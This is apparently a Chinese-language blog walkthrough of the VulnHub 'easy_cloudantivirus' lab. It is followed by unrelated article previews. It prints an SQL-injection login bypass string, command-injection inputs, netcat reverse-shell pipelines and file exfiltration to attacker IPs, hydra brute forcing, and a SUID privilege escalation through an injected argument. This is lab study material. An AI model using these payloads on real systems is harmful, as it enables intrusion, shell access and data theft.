vulnhub渗透测试靶场练习2
靶场介绍
靶场名:easy_cloudantivirus
靶场地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453
环境搭建
依旧使用VM VirtualBox搭建靶场,攻击机使用的是VMware中的kali,需要将VMware虚拟机kali和virtualbox靶机网络连接设置,参考链接如下:
https://blog.csdn.net/xujj10086/article/details/123836792
靶场练习
扫ip,扫端口
arp-scan -l

nmap -sS 192.168.0.4

利用sql注入万能密码登录
访问8080端口服务


网站是一个病毒扫描器,需要输入邀请码。
第一思路是使用万能密码尝试能否进入,于是使用burp进行抓包爆破,爆破出了可以登录进去的万能密码:


万能密码为:
"or"a"="a
万能密码的原理是利用sql注入,这里是使用双引号对sql语句进行了闭合,才能进入系统。输入万能密码后进入页面


利用命令执行漏洞反弹shell
提示说尝试使用扫描器扫描其中的文件,那么我们输入hello试试:

返回了扫描的结果,这里我们判断我们输入hello后应该是后台会拼接上命令,我们可以尝试拼接命令看是否会被执行,通常会使用管道符|
输入
hello|id
成功返回了id的执行结果,说明此处存在命令执行漏洞

kali开启监听,使用nc进行反弹shell
hello|nc -nv 192.168.0.3 2333 -e /bin/bash
发现没有反弹成功,查看wp发现是因为靶场环境中的nc没有-e参数
输入
hello|nc 192.168.0.5 2233|/bin/bash|nc -nv 192.168.0.5 4444
这里kali需要同时开启2233和4444端口
我们在2233端口输入的语句会在靶机中输入到bash环境中执行,再将执行的结果返回到kali的4444端口中
如图所示,我们在2233处输入ls,命令执行的结果会在4444处返回

下载sql文件并进行读取
这里发现一个后缀名是sql的文件
通过nc命令将这个文件下载到kali里:
先在kali里开启监听:
nc -lvvp 5555 > db.sql
然后在可以执行的命令框中执行以下命令:
nc -nv 192.168.0.5 5555 <database.sql
如图所示,就已经收到这个文件了:
使用sqlite3尝试读取文件内容,读到了几个密码

使用hydra尝试爆破ssh
由于靶机开启了22端口,我们尝试找到有bash环境的用户进行密码爆破
通过读取 /etc/passwd文件,我们找到了三个有bash环境的用户

使用在第一次靶场中使用过的hydra进行爆破,需要制作用户名和密码的字典,结果如下:

没有跑出来可以登录的账号密码,说明这条路走不通了,需要再看下别的地方。
继续进行信息收集
继续进行信息收集:
我们在上一级目录中发现了update_cloudav和update_cloudav.c文件

查看详细的文件属性,发现update_cloudav文件属于root,也就是说这个文件有suid权限,所属组是scanner,使用whoami看到我们当前的用户也是scanner,也就是说我们有这个文件的执行权限

suid提权
这里我们可以想到update_cloudav.c就是这个可执行文文件的C语言源码,我们读取一下源文件:

可以看到内容就是执行病毒库的更新程序并且要求我们在执行文件的时候带一个参数(倒数第六行),带的参数也会放到system函数中执行,那我们就尝试让我们的参数是反弹shell的命令即可:
先在kali开启两个端口的监听,然后在执行命令的窗口执行下面的命令,要注意执行命令的路径要在update_cloudav文件所在的目录下
./update_cloudav “a |nc 192.168.0.5 6666|/bin/bash|nc 192.168.0.5 7777”

成功获得root权限!
后记
1.当nc命令带上-e参数无法执行时,可以先尝试一下不带参数的nc命令能否执行,可以执行的话就证明确实是靶机中的nc没有-e参数,就可以采用下面这种方法进行反弹shell
nc 192.168.0.5 2233|/bin/bash|nc -nv 192.168.0.5 4444
我们在2233端口输入的语句会在靶机中输入到bash环境中执行,再将执行的结果返回到kali的4444端口中。(当然这里针对nc没有-e参数还可以使用命名管道符进行反弹shell)
2.获取到shell后,要进行详细的信息收集,根据能收集到的所有信息,判断哪些文件可以帮助我们进行提权。像这个靶场中的update_cloudav文件,当然也需要有代码审计能力,这方面我还比较弱,是直接照着wp来的。
最后附上大佬的文章:
https://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247489706&idx=1&sn=91f7428304d36f0aea38750b1fbdb587&chksm=cfd86755f8afee43a58eb21f5c00a489841874a7970a3a88764352e19bd8f39fb1eb86687ba2&scene=178&cur_album_id=2923844073592012805#rd
相关文章:
vulnhub渗透测试靶场练习2
靶场介绍 靶场名:easy_cloudantivirus 靶场地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453 环境搭建 依旧使用VM VirtualBox搭建靶场,攻击机使用的是VMware中的kali,需要将VMware虚拟机kali和virtualbox靶机…...
在R中安装TensorFlow、TensorFlow_Probability、numpy(R与Python系列第二篇)
目录 前言: 1-安装tensorflow库 Step1: 下载R包tensorflow Step2:安装TensorFlow库 Step3:导入R中 2-安装tensorflow_probability库 Step1:下载R包:tfprobability Step2:安装TensorFlow Probability …...
十大管理——项目成本管理
目录 1.成本管理概念 2.成本管理的四个过程域 2.1四个过程的整体理解 2.2四个过程的ITO口诀版记忆 2.3过程1——制定项目管理计划 2.4过程2——项目成本估算 2.5过程3——项目成本预算 2.5过程4——项目成本控制 3计算题 1.成本管理概念 项目成本管理就是要确保…...
Java BIO、NIO、AIO学习总结
前言:关于BIO/NIO/AIO的文章已经汗牛充栋,俺最近比较闲试图系统学习一下,希望大侠多多指教! 先来个例子理解一下概念,以银行取款为例: 同步 : 自己亲自出马持银行卡到银行取钱(使用…...
sql各种注入案例
目录 1.报错注入七大常用函数 1)ST_LatFromGeoHash (mysql>5.7.x) 2)ST_LongFromGeoHash (mysql>5.7.x) 3)GTID (MySQL > 5.6.X - 显错<200) 3.1 GTID 3.2 函数详解 3.3 注入过程( payload ) 4)ST_Pointfromgeohash (mysql>5.…...
系统学习Linux-ELK日志收集系统
ELK日志收集系统集群实验 实验环境 角色主机名IP接口httpd192.168.31.50ens33node1192.168.31.51ens33noed2192.168.31.53ens33 环境配置 设置各个主机的ip地址为拓扑中的静态ip,并修改主机名 #httpd [rootlocalhost ~]# hostnamectl set-hostname httpd [root…...
IDEA2023隐藏.idea和.iml文件
IDEA2023隐藏.idea和.iml文件 1. 打开file -> setting,快捷键CtrlAlts2. Editor -> File types3. 点击右侧Ignore files and folders一栏4. 添加需要忽略的文件5. 最重要一步 IDEA新建项目会自动生成一个.idea文件夹和.iml文件,开发中不需要对这两个文件修改&…...
【深入浅出C#】章节 9: C#高级主题:反射和动态编程
反射和动态编程是C#和其他现代编程语言中重要的高级主题,它们具有以下重要性: 灵活性和扩展性:反射允许程序在运行时动态地获取和操作类型信息、成员和对象实例,这使得程序更加灵活和具有扩展性。动态编程则使得程序能够根据运行…...
Gorm简单了解
GORM 指南 | GORM - The fantastic ORM library for Golang, aims to be developer friendly. 04_GORM查询操作_哔哩哔哩_bilibili 前置: db调用操作语句中间加debug()可以显示对应的sql语句 1.Gorm模型定义(理解重点ÿ…...
第一百三十三回 StreamProvier
文章目录 概念介绍使用方法示例代码 我们在上一章回中介绍了通道相关的内容,本章回中将介绍 StreamProvider组件.闲话休提,让我们一起Talk Flutter吧。 概念介绍 在Flutter中Stream是经常使用的组件,对该组件的监听可以StremBuilder&#x…...
java 多个list取交集
java 多个list集合根据某个字段取出交集 模拟多个list集合,如下图 如果只有一个集合那么交集就是当前集合,如果有多个集合,那么第一个集合当做目标集合,在通过目标集合去和剩下的集合比较,取出相同的值,运…...
文件上传与下载
文章目录 1. 前端要求2. 后端要求 1. 前端要求 //采用post方法提交文件 method"post" //采用enctype属性 enctype"" //type属性要求 type"file"2. 后端要求 package com.itheima.reggie.controller;import com.itheima.reggie.common.R; impo…...
SpringBoot 整合 RabbitMQ
1. 创建 SpringBoot 工程 把版本改为 2.7.14 引入这两个依赖: <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-amqp</artifactId></dependency><dependency><groupId>org.springfr…...
气象科普丨气象站的分类与应用
气象站是一种用于收集、分析和处理气象数据的设备。根据不同的应用场景和监测需求,气象站可以分为以下几类: 一、农业气象站 农业气象站是专门为农业生产服务的气象站,主要监测土壤温度、土壤湿度等参数,为农业生产提供科学依据…...
【论文精读】Learning Transferable Visual Models From Natural Language Supervision
Learning Transferable Visual Models From Natural Language Supervision 前言Abstract1. Introduction and Motivating Work2. Approach2.1. Creating a Sufficiently Large Dataset2.2. Selecting an Efficient Pre-Training Method2.3. Choosing and Scaling a Model2.4. P…...
缓存和分布式锁笔记
缓存 开发中,凡是放入缓存中的数据都应该指定过期时间,使其可以在系统即使没有主动更新数据也能自动触发数据加载进缓存的流程。避免业务崩溃导致的数据永久不一致 问题。 redis作为缓存使用redisTemplate操作redis 分布式锁的原理和使用 分布式加锁&…...
React笔记(七)Antd
一、登录功能 首先要使用antd,要先下载 yarn add antd 登录页面关键代码 import React from react /*1、如果要在react中完成样式隔离,需要如下操作1)命名一个xx.module.scss webpack要求2) 在需要的组件中通过ES6方式进行导入&#x…...
无涯教程-Android - RadioButton函数
RadioButton有两种状态:选中或未选中,这允许用户从一组中选择一个选项。 Radio Button 示例 本示例将带您完成一些简单的步骤,以展示如何使用Linear Layout和RadioButton创建自己的Android应用程序。 以下是修改后的主要Activity文件 src/MainActivity.java 的内容。 packa…...
kafka如何避免消费组重平衡
目录 前言: 协调者 重平衡的影响 避免重平衡 重平衡发生的场景 参考资料 前言: Rebalance 就是让一个 Consumer Group 下所有的 Consumer 实例就如何消费订阅主题的所有分区达成共识的过程。在 Rebalance 过程中,所有 Consumer 实例…...
浅谈一下企业信息化管理
企业信息化管理 企业信息化是指将企业的生产过程,物料,事务,财务,销售等业务过程数字化,通过各种信息系统网络价格成新的信息资源,提供给各层次的人们东西观察各类动态业务中的一切信息,以便于…...
【跟韩工学Ubuntu第9课】第9章 系统备份、恢复与迁移-005篇
文章目录 第9章 系统备份、恢复与迁移 Ubuntu Server 生产级系统管理(企业级完整版) 9.1 备份策略基础(企业级理论精讲) 9.1.1 企业备份核心价值观 9.1.2 企业级3-2-1备份黄金法则 9.1.3 全量备份(Full Backup) 定义 企业级优点 企业级缺点 企业适用场景 9.1.4 增量备份(…...
难点突破:HR 每天看 200 份简历,80% 时间都在做无效劳动
去年某互联网公司招一个产品经理,收到 847 份简历。HR 小王花了整整三天时间初筛,最后发现真正符合要求的只有 23 个人。更让人崩溃的是,这 23 个人里有 5 个是第二天才看到的——因为简历太多,优质候选人被淹没在简历海里。 这不…...
不同品牌路由器也能玩桥接?TP-LINK AC1200主路由+FAST FWR303副路由详细配置指南
跨品牌路由器桥接实战:TP-LINK AC1200与FAST FWR303混合组网全解析 现代家庭网络环境中,信号死角问题如同房间角落的灰尘一样难以避免。特别是当房屋结构复杂或面积较大时,单台路由器往往力不从心。此时,利用家中闲置的旧路由器进…...
大学物理(上)-期末实战解析(5)——刚体力学核心:从转动惯量到角动量守恒的解题秘籍
1. 刚体力学入门:为什么转动惯量是解题钥匙 刚体力学是大学物理中最让人头疼的章节之一,尤其是当题目里出现"转动惯量"这个名词时,很多同学就开始手心冒汗。记得我第一次做这类题目时,盯着那个积分符号看了半小时愣是没…...
PyCharm远程调试避坑指南:从数据集同步到依赖安装,搞定AuToDL服务器上的代码运行
PyCharm远程调试避坑指南:从数据集同步到依赖安装,搞定AuToDL服务器上的代码运行 在深度学习项目的实际开发中,本地环境往往难以满足大规模计算需求。许多开发者选择将代码迁移到AuToDL等云服务器上运行,却常常在远程调试环节遇到…...
大麦抢票自动化终极指南:5分钟快速上手教程
大麦抢票自动化终极指南:5分钟快速上手教程 【免费下载链接】ticket-purchase 大麦自动抢票,支持人员、城市、日期场次、价格选择 项目地址: https://gitcode.com/GitHub_Trending/ti/ticket-purchase 您是否曾因热门演唱会门票秒光而遗憾&#x…...
如何借助内网穿透工具实现WinSCP跨系统远程文件管理的稳定连接
1. 为什么需要内网穿透实现WinSCP远程文件管理 作为开发者或运维人员,我经常需要在Windows和Linux服务器之间传输文件。最初我尝试用U盘或网盘中转,但效率太低;后来改用WinSCP直连局域网,又遇到跨地域办公的难题。直到发现内网穿透…...
卷积神经网络原理与Baichuan-M2-32B医疗图像识别实战
卷积神经网络原理与Baichuan-M2-32B医疗图像识别实战 1. 引言 医疗图像识别一直是人工智能领域的重要应用方向。传统的图像识别方法往往需要大量的人工特征工程,而卷积神经网络的出现彻底改变了这一局面。今天,我们将深入探讨卷积神经网络的核心原理&a…...
MAX30102传感器寄存器深度解析与实战配置指南
1. MAX30102传感器核心功能解析 MAX30102是一款集成了红光和红外光LED的光学传感器,专门用于非侵入式心率监测和血氧饱和度(SpO2)测量。这个火柴盒大小的芯片内部藏着精密的模拟前端和数字信号处理单元,能够捕捉到人体脉搏带来的微弱光信号变化。 我第一…...
Cat-Catch实战手册:5个场景快速掌握网页资源抓取技巧
Cat-Catch实战手册:5个场景快速掌握网页资源抓取技巧 【免费下载链接】cat-catch 猫抓 chrome资源嗅探扩展 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 你是否经常遇到这样的困境?在线课程视频无法下载、设计素材图片无法批量保…...

